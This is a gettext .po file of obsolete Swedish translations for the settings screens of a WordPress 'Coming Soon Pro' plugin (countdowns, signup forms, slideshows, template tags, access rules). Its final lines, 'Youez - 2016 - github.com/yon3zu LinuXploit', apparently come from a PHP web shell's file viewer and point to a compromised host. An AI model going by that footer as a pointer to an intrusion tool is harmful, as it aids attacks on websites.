#~ msgid "Displays a progress bar on your site."
#~ msgstr "Visa en förloppsindikator på din webbplats"

#~ msgid "Start and End Date"
#~ msgstr "Start- och Slutdatum"

#~ msgid ""
#~ "The percent complete will be automatically calculated if you enter a "
#~ "start and end date."
#~ msgstr ""
#~ "Antal procent gånget beräknas automatiskt om du anger start- och "
#~ "slutdatum. "

#~ msgid "Percent Complete Override"
#~ msgstr "Åsidosätt Procent Gånget."

#~ msgid ""
#~ "Enter the percentage complete without the percentage sign. This will "
#~ "override the date calculation above."
#~ msgstr ""
#~ "Ange procent gånget utan procenttecken. Detta åsidosätter "
#~ "datumberäkningen ovan."

#~ msgid "Progress Bar Effect"
#~ msgstr "Förloppsindikatoreffekt"

#~ msgid "Basic"
#~ msgstr "Standard"

#~ msgid "Striped"
#~ msgstr "Randig"

#~ msgid "Animated"
#~ msgstr "Animerad"

#~ msgid "Striped and Animated are not supported in Internet Explorer"
#~ msgstr "Randig och Animerad stöds ej i Internet Explorer"

#~ msgid "Countdown Settings"
#~ msgstr "Nedräkningsinställningar"

#~ msgid "Enable Countdown"
#~ msgstr "Aktivera Nedräkning"

#~ msgid "Displays a countdown on your site."
#~ msgstr "Visare en nedräkningsindikator på din webbplats."

#~ msgid "End DateTime"
#~ msgstr "Slut-DatumTid"

#~ msgid "Enter the datetime to countdown to."
#~ msgstr "Ange datumtid att räkna ned till."

#~ msgid "Auto Launch"
#~ msgstr "Autopublicera"

#~ msgid ""
#~ "This will automatically launch your site when countdown reaches the end."
#~ msgstr ""
#~ "Detta kommer automatiskt att publicera din webbplats när nedräkningen "
#~ "nått sitt slut."

#~ msgid "Language Strings"
#~ msgstr "Språksträngar"

#~ msgid "Translate the text strings below into your language if not English."
#~ msgstr "Översätt textsträngarna nedan till ditt språk, om ej Engelska."

#~ msgid "Days"
#~ msgstr "Dagar"

#~ msgid "Translate into your language."
#~ msgstr "Översätt till ditt språk."

#~ msgid "Hours"
#~ msgstr "Timmar"

#~ msgid "Minutes"
#~ msgstr "Minuter"

#~ msgid "Seconds"
#~ msgstr "Sekunder"

#~ msgid ""
#~ "If left empty the <a href=\"http://www.seomoz.org/learn-seo/title-tag\" "
#~ "target=\"_blank\">title tag</a> of your page will be: "
#~ msgstr ""
#~ "Om detta lämnas tomt så kommer <a href=\"http://www.seomoz.org/learn-seo/"
#~ "title-tag\" target=\"_blank\">titeltaggen</a> på din sida att bli: "

#~ msgid ""
#~ "If left empty the <a href=\"http://www.seomoz.org/learn-seo/meta-"
#~ "description\" target=\"_blank\">meta description</a> of your page will "
#~ "be: "
#~ msgstr ""
#~ "Om detta lämnas tomt så kommer <a href=\"http://www.seomoz.org/learn-seo/"
#~ "meta-description\" target=\"_blank\">metabeskrivningen</a> av din sida "
#~ "att bli: "

#~ msgid ""
#~ "Paste in your <a href=\"http://www.google.com/analytics/\" target=\"_blank"
#~ "\">Google Analytics</a> code. Example: UA-xxxxxxxxx"
#~ msgstr ""
#~ "Klistra in i din <a href=\"http://www.google.com/analytics/\" target="
#~ "\"_blank\">Google Analytics</a>-kod. Exempel: UA-xxxxxxxxx"

#~ msgid "Footer Credit"
#~ msgstr "Sidfotserkännanden"

#~ msgid "Credit Image"
#~ msgstr "Bild för Erkännanden"

#~ msgid "Use an image to add a footer credit."
#~ msgstr "Använd en bild för att lägga till sidfotserkännanden."

#~ msgid "Link to be used for your footer credit."
#~ msgstr "Länk att använda för dina sidfotserkännanden."

#~ msgid "Credit Link"
#~ msgstr "Länk till Erkännanden"

#~ msgid "Social Media Profiles"
#~ msgstr " Sociala Medie-profiler"

#~ msgid "Social Media Icons Size"
#~ msgstr "Sociala Medie-ikoner"

#~ msgid "Small 16px"
#~ msgstr "Liten 16px"

#~ msgid "Medium 24px"
#~ msgstr "Mellan 24px"

#~ msgid "Large 32px"
#~ msgstr "Stor 32px"

#~ msgid "Social Profiles"
#~ msgstr "Sociala Profiler"

#~ msgid "Subscribe Button"
#~ msgstr "Prenumerera-knapp"

#~ msgid "Notify Me"
#~ msgstr "Notifiera Mig"

#~ msgid "Subscribe Field"
#~ msgstr "Prenumerera-fält"

#~ msgid "Enter Your Email"
#~ msgstr "Ange din e-post"

#~ msgid "First Name Field"
#~ msgstr "Förnamnsfält"

#~ msgid "First Name"
#~ msgstr "Förnamn"

#~ msgid "Last Name Field"
#~ msgstr "Efternamnsfält"

#~ msgid "Last Name"
#~ msgstr "Efternamn"

#~ msgid "Success"
#~ msgstr "Lyckades"

#~ msgid "You'll be notified soon!"
#~ msgstr "Du blir snart notifierad!"

#~ msgid "Already Subscribed"
#~ msgstr "Redan Prenumerant"

#~ msgid "You're already subscribed."
#~ msgstr "Du prenumererar redan."

#~ msgid "Invalid Email"
#~ msgstr "Ogiltig E-post"

#~ msgid "API Error"
#~ msgstr "API-fel"

#~ msgid "Error, please try again."
#~ msgstr "Fel, var god försök igen."

#~ msgid "Display WPML Language Switcher"
#~ msgstr "Visa WPML Språkväxlare"

#~ msgid "No"
#~ msgstr "Nej"

#~ msgid ""
#~ "This will display the WPML Language Switcher on the Coming Soon page."
#~ msgstr "Detta visar WPML-språkväxlaren på Kommer Snart-sidan."

#~ msgid "Cover or Stretch"
#~ msgstr "Täckande eller Utsträckt"

#~ msgid ""
#~ "Cover will scale the image to the smallest size such that both its width "
#~ "and its height can fit inside the content area. The image will be "
#~ "stretched for older browsers."
#~ msgstr ""
#~ "Alternativet Täckande kommer att skala blden till minsta möjliga storlek "
#~ "där både bredd och höjd ryms i innehållsområdet. I äldre webbläsare "
#~ "kommer bilden istället att sträckas ut."

#~ msgid "Background Effects"
#~ msgstr "Bakgrundseffekter"

#~ msgid "None"
#~ msgstr "Inget"

#~ msgid "Noise"
#~ msgstr "Brus"

#~ msgid ""
#~ "Background effects can be applied to Background Colors or Background "
#~ "Images."
#~ msgstr ""
#~ "Bakgrundseffekter är tillämpliga på Bakgrundsfärger samt Bakgrundsbilder."

#~ msgid "Background Slideshow"
#~ msgstr "Bakgrundsbildspel"

#~ msgid ""
#~ "This will override the setting above and create a background slideshow."
#~ msgstr ""
#~ "Detta åsidosätter inställningen ovan och skapar ett bakgrundsbildspel."

#~ msgid "Slideshow Randomize"
#~ msgstr "Slumpa Bildspel"

#~ msgid ""
#~ "This will display a random slideshow each time as opposed to the order "
#~ "listed below."
#~ msgstr ""
#~ "Detta visar ett slumpmässigt bildspel varje gång, i motsats till den "
#~ "ordning som listas nedan."

#~ msgid "Slide Speed"
#~ msgstr "Glidningshastighet"

#~ msgid "This will determine how fast slides change in milliseconds."
#~ msgstr ""
#~ "Detta bestämmer hur snabbt bilder skall bytas i bildspelet, i "
#~ "millisekunder."

#~ msgid "Slide Transition"
#~ msgstr "Glidningsövergång"

#~ msgid "This will determine the transition between slides."
#~ msgstr "Detta anger övergång mellan bilder i bildspelet."

#~ msgid "Fade"
#~ msgstr "Tona"

#~ msgid "Slide Top"
#~ msgstr "Glidning Upp"

#~ msgid "Slide Right"
#~ msgstr "Glidning Höger"

#~ msgid "Slide Bottom"
#~ msgstr "Glidning Ned"

#~ msgid "Slide Left"
#~ msgstr "Glidning Vänster"

#~ msgid "Carousel Right"
#~ msgstr "Karusell Höger"

#~ msgid "Carousel Left"
#~ msgstr "Karusell Vänster"

#~ msgid "Slideshow Images"
#~ msgstr "Bildspelsbilder"

#~ msgid ""
#~ "Paste in the urls to the images you like to use for your slideshow one "
#~ "per line. <a href=\"https://seedprod.zendesk.com/entries/22545416-how-to-"
#~ "create-a-background-slideshow\" target=\"_blank\">Learn How</a>"
#~ msgstr ""
#~ "Klistra in URL:er till de bilder du vill använda i ditt bildspel, en per "
#~ "rad. <a href=\"https://seedprod.zendesk.com/entries/22545416-how-to-"
#~ "create-a-background-slideshow\" target=\"_blank\">Visa Hur</a>"

#~ msgid "Background Video (Beta)"
#~ msgstr "Bakgrundsvideo (Beta)"

#~ msgid "This will override the setting above and create a background video."
#~ msgstr ""
#~ "Detta kommer att åsidosätta inställningarna ovan och skapa en "
#~ "bakgrundsvideo."

#~ msgid "Background Video URL"
#~ msgstr "Bakgrundsvideo-URL"

#~ msgid "Enter the YouTube or Vimeo url."
#~ msgstr "Ange YouTube- eller Vimeo-URL:en."

#~ msgid "Link &amp; Button Color"
#~ msgstr "Länk- &amp; knappfärg"

#~ msgid ""
#~ "If no Headline Color is choosen then the Link &amp; Button Color will be "
#~ "used. "
#~ msgstr ""
#~ "Om ingen Rubrikfärg väljs så kommer Länk- &amp; Knappfärgen att användas."

#~ msgid "Headline Font"
#~ msgstr "Rubriktypsnitt"

#~ msgid ""
#~ "If you choose 'Inherit' as a headline font then the text font will be "
#~ "used."
#~ msgstr ""
#~ "Om du väljer 'Inherit' som rubriktypsnitt så kommer texttypsnittet att "
#~ "användas."

#~ msgid "Button Font"
#~ msgstr "Knapptypsnitt"

#~ msgid ""
#~ "If you choose 'Inherit' as a button font then the headline font will be "
#~ "used."
#~ msgstr ""
#~ "Om du väljer 'Inherit' som knapptypsnitt så kommer rubriktypsnittet att "
#~ "användas."

#~ msgid "Typekit Kit ID"
#~ msgstr "Typekit Kit-ID"

#~ msgid ""
#~ "Enter your <a href=\"https://typekit.com\" target=\"_blank\">Typekit</a> "
#~ "Kit ID. This will override the fonts above."
#~ msgstr ""
#~ "Ange ditt <a href=\"https://typekit.com\" target=\"_blank\">Typekit</a> "
#~ "Kit-ID. Detta kommer att åsidosätta typsnitten ovan."

#~ msgid "Text Effects"
#~ msgstr "Texteffekter"

#~ msgid ""
#~ "Inset <small class=\"description\">: Adds a subtle inset shadow</small>"
#~ msgstr ""
#~ "Infällning <small class=\"description\">: Lägger till en subtil skugga "
#~ "för infällning</small>"

#~ msgid "Container"
#~ msgstr "Behållare"

#~ msgid "Enable Container"
#~ msgstr "Aktivera Behållare"

#~ msgid ""
#~ "A container is a wrapper that will encapsulate your coming soon content."
#~ msgstr ""
#~ "En behållare är ett omslutande element för ditt Kommer Snart-innehåll."

#~ msgid "Container Color"
#~ msgstr "Behållarfärg"

#~ msgid "Container Position"
#~ msgstr "Behållarposition"

#~ msgid "Left"
#~ msgstr "Vänster"

#~ msgid "Center"
#~ msgstr "Centrera"

#~ msgid "Right"
#~ msgstr "Höger"

#~ msgid "Container Effects"
#~ msgstr "Behållareffekter"

#~ msgid "Fade In"
#~ msgstr "Tona In"

#~ msgid "Drop Shadow"
#~ msgstr "Skugga"

#~ msgid "Glow"
#~ msgstr "Glödande Kontur"

#~ msgid "Border"
#~ msgstr "Kant"

#~ msgid "Rounded Corners"
#~ msgstr "Rundade Hörn"

#~ msgid "Opacity"
#~ msgstr "Opacitet"

#~ msgid ""
#~ "These effects only work in modern browsers. Not sure what a <a target="
#~ "\"_blank\" href=\"http://browsehappy.com/\">modern browser</a> is?"
#~ msgstr ""
#~ "Dessa effekter fungerar bara i moderna webbläsare. Osäker på vad en <a "
#~ "target=\"_blank\" href=\"http://browsehappy.com/\">modern webbläsare</a> "
#~ "är?"

#~ msgid "Code"
#~ msgstr "Kod"

#~ msgid ""
#~ "If you need to make some advanced changes to the template you can edit "
#~ "the code above directly."
#~ msgstr ""
#~ "Om du behöver göra några avancerade ändringar i mallen så kan du redigera "
#~ "kodeon ovan direkt."

#~ msgid "Template Tags"
#~ msgstr "Malltaggar"

#~ msgid ""
#~ "\n"
#~ "            <code>{Title}</code> - Display your title. Settings > Coming "
#~ "Soon Pro Settings > Header > SEO Title <br>\n"
#~ "            <code>{MetaDescription}</code> - Displays your description "
#~ "along with the proper meta tags. Settings > Coming Soon Pro > Settings > "
#~ "Header > SEO Meta Description <br>\n"
#~ "            <code>{Privacy}</code> - Displays noindex tag if set to "
#~ "private. Settings > Privacy <br>\n"
#~ "            <code>{Favicon}</code> - Displays favicon tag. Settings > "
#~ "Coming Soon Pro > Settings > Header > Favicon <br>\n"
#~ "            <code>{Head}</code> - Required in the <head> Displays custom "
#~ "scripts for the page. Settings > Coming Soon Pro > Advanced > "
#~ "Scripts<br>\n"
#~ "            <code>{Custom CSS}</code> - Displays custom css page. "
#~ "Settings > Coming Soon Pro > Design > Template > Custom CSS<br>\n"
#~ "            <code>{Logo}</code> - Displays your logo if set. Settings > "
#~ "Coming Soon Pro > Settings > Page Settings > Logo<br>\n"
#~ "            <code>{Headline}</code> - Displays your headline if set. "
#~ "Settings > Coming Soon Pro > Settings > Page Settings > Headline<br>\n"
#~ "            <code>{Description}</code> - Displays your description if "
#~ "set. Settings > Coming Soon Pro > Settings > Page Settings > "
#~ "Description<br>\n"
#~ "            <code>{ProgressBar}</code> - Displays a progress bar if "
#~ "enabled. Settings > Coming Soon Pro > Settings > Progress Bar "
#~ "Settings<br>\n"
#~ "            <code>{Countdown}</code> - Displays a countdown if enabled. "
#~ "Settings > Coming Soon Pro > Settings > Countdown Settings<br>\n"
#~ "            <code>{Form}</code> - Displays signup form and thank you "
#~ "page. Settings > Coming Soon Pro > Settings<br>\n"
#~ "            <code>{SocialProfiles}</code> - Displays your social profiles "
#~ "if set. Settings > Coming Soon Pro > Settings > Social Media "
#~ "Profiles<br>\n"
#~ "            <code>{Credit}</code> - Displays your footer credit if set. "
#~ "Settings > Coming Soon Pro > Settings > Footer Credit<br>\n"
#~ "            <code>{Footer}</code> - Displays required scripts for the "
#~ "page.<br>\n"
#~ "            "
#~ msgstr ""
#~ "\n"
#~ "            <code>{Title}</code> - Visa din titel. Inställningar > Coming "
#~ "Soon Pro-inställningar > Sidhuvud > SEO-titel <br>\n"
#~ "            <code>{MetaDescription}</code> - Visar din beskrivning "
#~ "tillsammans med de giltiga metataggarna. Inställningar > Coming Soon Pro "
#~ "> Inställningar > Sidhuvud > SEO-metabeskrivning <br>\n"
#~ "            <code>{Privacy}</code> - Visar noindex-taggen, om satt som "
#~ "privat. Inställningar > Personlig Integritet <br>\n"
#~ "            <code>{Favicon}</code> - Displays taggen för webbplatsikon. "
#~ "Settings > Coming Soon Pro > Settings > Header > Webbplatsikon <br>\n"
#~ "            <code>{Head}</code> - Krävs i <head>. Visar anpassade skript "
#~ "på sidan. Inställningar > Coming Soon Pro > Avancerat > Skript<br>\n"
#~ "            <code>{Custom CSS}</code> - Visar sidan för anpassad CSS. "
#~ "Inställningar > Coming Soon Pro > Design > Mall > Anpassad CSS<br>\n"
#~ "            <code>{Logo}</code> - Visar din logotyp, om angiven. "
#~ "Inställningar > Coming Soon Pro > Inställningar > Sidinställningar > "
#~ "Logotyp<br>\n"
#~ "            <code>{Headline}</code> - Visar din rubrik, om angiven. "
#~ "Inställningar > Coming Soon Pro > Inställningar > Sidinställningar > "
#~ "Rubrik<br>\n"
#~ "            <code>{Description}</code> - Visar din beskrivning, om "
#~ "angiven. Inställningar > Coming Soon Pro > Inställningar > "
#~ "Sidinställningar > Beskrivning<br>\n"
#~ "            <code>{ProgressBar}</code> - Visar en förloppsindikator, om "
#~ "aktiverad. Inställningar > Coming Soon Pro > Inställningar > "
#~ "Förloppsindikatorinställningar<br>\n"
#~ "            <code>{Countdown}</code> - Visar en nedräkningsindikator, om "
#~ "aktiverad. Inställningar > Coming Soon Pro > Inställningar > "
#~ "Nedräkningsinställningar<br>\n"
#~ "            <code>{Form}</code> - Visar registreringsformulär och "
#~ "tacksida. Inställningar > Coming Soon Pro > Inställningar<br>\n"
#~ "            <code>{SocialProfiles}</code> - Visar dina sociala profiler, "
#~ "om angivna. Inställningar > Coming Soon Pro > Inställningar > Sociala "
#~ "Media-profiler<br>\n"
#~ "            <code>{Credit}</code> - Visar din sidfot, om angiven. "
#~ "Inställningar > Coming Soon Pro > Inställningar > Sidfotserkännanden<br>\n"
#~ "            <code>{Footer}</code> - Visar skript som krävs på sidan.<br>\n"
#~ "            "

#~ msgid "Access"
#~ msgstr "Tillträde"

#~ msgid "Client View URL"
#~ msgstr "Klientvisnings-URL"

#~ msgid ""
#~ "Enter a phrase above and give your client a secret url that will allow "
#~ "them to bypass the Coming Soon page. The cookie life is 6 hours. After "
#~ "the cookie expires they will need to revisit the client view url to "
#~ "regain access."
#~ msgstr ""
#~ "Ange en fras ovan och ge din(a) klient(er) en hemlig URL som tillåter "
#~ "passage förbi Kommer Snart-sidan. Kakans livstid är 6 timmar. Efter att "
#~ "kakans livstid gått ut så måste Klientvy-URL:en åter besökas för förnyat "
#~ "tillträde."

#~ msgid "Access by IP"
#~ msgstr "IP-tillträde"

#~ msgid ""
#~ "All visitors from certain IP's to bypass the Coming Soon page. Put each "
#~ "IP on it's own line."
#~ msgstr ""
#~ "Alla besökare från dessa IP-adresser åsidosätter Kommer Snart-sidan. "
#~ "Placera varje IP-adress på en egen rad."

#~ msgid "Access by Role"
#~ msgstr "Rolltillträde"

#~ msgid ""
#~ "By default anyone logged in will see the regular site and not the coming "
#~ "soon page. To override this select Roles that will be given access to see "
#~ "the regular site."
#~ msgstr ""
#~ "Som standard kommer alla som är inloggade att se den vanliga webbplatsen "
#~ "och inte Kommer Snart-sidan. För att åsidosätta detta, välj Roller som "
#~ "skall ges tillträde till den vanliga webbplatsen."

#~ msgid "Landing Page Mode"
#~ msgstr "Landningssidläge"

#~ msgid ""
#~ "Only display the coming soon page on one page of your site and use it as "
#~ "a landing page. Leave unselected if you want the coming soon page to be "
#~ "display on your entire site."
#~ msgstr ""
#~ "Visa endast Kommer Snart-sidan på en sida på din webbplats och använd den "
#~ "som landningssida. Låt detta vara ej valt om du vill att Kommer Snart-"
#~ "sidan skall visas över hela webbplatsen."

#~ msgid "Include URL Pattern"
#~ msgstr "Inkludera URL-mönster"

#~ msgid ""
#~ "Include certain urls to only diplay the coming soon page on a section of "
#~ "your site using <a href=\"http://en.wikipedia.org/wiki/Regex\" target="
#~ "\"_blank\">regular expressions</a>. For example enter \"blog\" will "
#~ "include pages with the url: http://example.org/blog/*. <a href=\"https://"
#~ "seedprod.zendesk.com/entries/23050096-exclude-and-include-urls-pattern-"
#~ "examples\" target=\"_blank\">See more examples</a> and learn how to "
#~ "include multiple pages. This is useful if you are working on a new "
#~ "section of your site."
#~ msgstr ""
#~ "Inkludera angivna URL:er för att endast visa Kommer Snart-sidan på en del "
#~ "av din webbplats med hjälp av <a href=\"http://en.wikipedia.org/wiki/Regex"
#~ "\" target=\"_blank\">reguljära uttryck (RegEx)</a>. Att exempelvis ange "
#~ "\"blogg\" kommer att inkludera sidor med URL:en: http://example.org/blogg/"
#~ "*. <a href=\"https://seedprod.zendesk.com/entries/23050096-exclude-and-"
#~ "include-urls-pattern-examples\" target=\"_blank\">Studera fler exempel</"
#~ "a> och lär dig hur man inkluderar flera sidor samtidigt. Detta är "
#~ "användbart om du arbetar på en ny sektion av din webbplats."

#~ msgid "Exclude URL Pattern"
#~ msgstr "Exkludera URL-mönster"

#~ msgid ""
#~ "Exclude certain urls from displaying the Coming Soon page using <a href="
#~ "\"http://en.wikipedia.org/wiki/Regex\" target=\"_blank\">regular "
#~ "expressions</a>. For example enter \"blog\" will exclude the url: http://"
#~ "example.org/blog/. <a href=\"https://seedprod.zendesk.com/"
#~ "entries/23050096-exclude-and-include-urls-pattern-examples\" target="
#~ "\"_blank\">See more examples</a> and learn how to exclue multiple pages. "
#~ "This is useful if a section of you site is ready to be viewed or you have "
#~ "a login page on the frontend."
#~ msgstr ""
#~ "Exkludera angivna URL:er från att visa Kommer Snart-sidan med hjälp av <a "
#~ "href=\"http://en.wikipedia.org/wiki/Regex\" target=\"_blank\">reguljära "
#~ "uttryck (RegEx)</a>. Att exempelvis ange \"blogg\" kommer att exkludera "
#~ "URL:en: http://example.org/blogg/*. <a href=\"https://seedprod.zendesk."
#~ "com/entries/23050096-exclude-and-include-urls-pattern-examples\" target="
#~ "\"_blank\">Studera fler exempel</a> och lär dig hur man exkluderar flera "
#~ "sidor samtidigt. Detta är användbart om en viss del av din webbplats är "
#~ "redo för besökare, eller om du har en publik inloggningssida."

#~ msgid "Enable Responsiveness"
#~ msgstr "Aktivera Responsivitet"

#~ msgid "Makes the page responsive."
#~ msgstr "Gör sidan responsiv."

#~ msgid "Enable FitVid"
#~ msgstr "Aktivera FitVid"

#~ msgid "Makes your videos responsive."
#~ msgstr "Gör dina videor responsiva."

#~ msgid "Enable wp_head &amp; wp_footer"
#~ msgstr "Aktivera wp_head &amp; wp_footer"

#~ msgid ""
#~ "The <a href=\"http://codex.wordpress.org/Plugin_API/Action_Reference/"
#~ "wp_head\" target=\"_blank\">wp_head</a> and <a href=\"http://codex."
#~ "wordpress.org/Plugin_API/Action_Reference/wp_footer\" target=\"_blank"
#~ "\">wp_footer</a> functions are required by some plugins. If you are "
#~ "unsure do not enable it. These functions can cause styling issues with "
#~ "the page."
#~ msgstr ""
#~ "Funktionerna <a href=\"http://codex.wordpress.org/Plugin_API/"
#~ "Action_Reference/wp_head\" target=\"_blank\">wp_head</a> och <a href="
#~ "\"http://codex.wordpress.org/Plugin_API/Action_Reference/wp_footer\" "
#~ "target=\"_blank\">wp_footer</a> krävs av vissa tillägg. Om du är osäker "
#~ "så aktivera inte detta. Dessa funktioner kan orsaka problem med sidans "
#~ "stil."

#~ msgid "Conversion Scripts"
#~ msgstr "Konverteringsskript"

#~ msgid ""
#~ "This will render only after the form has been submitted. This will be "
#~ "rendered before the closing body tag."
#~ msgstr ""
#~ "Detta renderas endast efter att formuläret har skickats. Det renderas "
#~ "innan stängningstaggen för body."

#~ msgid "Disable Custom Code Template"
#~ msgstr "Deaktivera Mall för Anpassad Kod"

#~ msgid ""
#~ "Mod_security will cause false positive 400 error on some host. Disable "
#~ "the custom template to avoid this error and notify your host of the false "
#~ "positive."
#~ msgstr ""
#~ "Mod_security orsakar falskt positiva 400-fel på vissa webbhotell. "
#~ "Deaktivera den anpassade mallen för att undvika detta fel och meddela "
#~ "ditt webbhotell om de falskt positiva felen."

#~ msgid "Import / Export"
#~ msgstr "Importera / Exportera"

#~ msgid "Import"
#~ msgstr "Importera"

#~ msgid "Paste settings from another Coming Soon Pro instance to import."
#~ msgstr ""
#~ "Klistra in inställningar från en annan installation av Coming Soon Pro."

#~ msgid "Export"
#~ msgstr "Exportera"

#~ msgid ""
#~ "Copy these settings and use the import them to another Coming Soon Pro "
#~ "instance."
#~ msgstr ""
#~ "Kopiera dessa inställningar för import i en annan Coming Soon Pro-"
#~ "installation."

#~ msgid "Your Referral URL is:"
#~ msgstr "Din Hänvisnings-URL är:"

#~ msgid "Your Referral Stats"
#~ msgstr "Din Hänvisningsstatistik"

Youez - 2016 - github.com/yon3zu
LinuXploit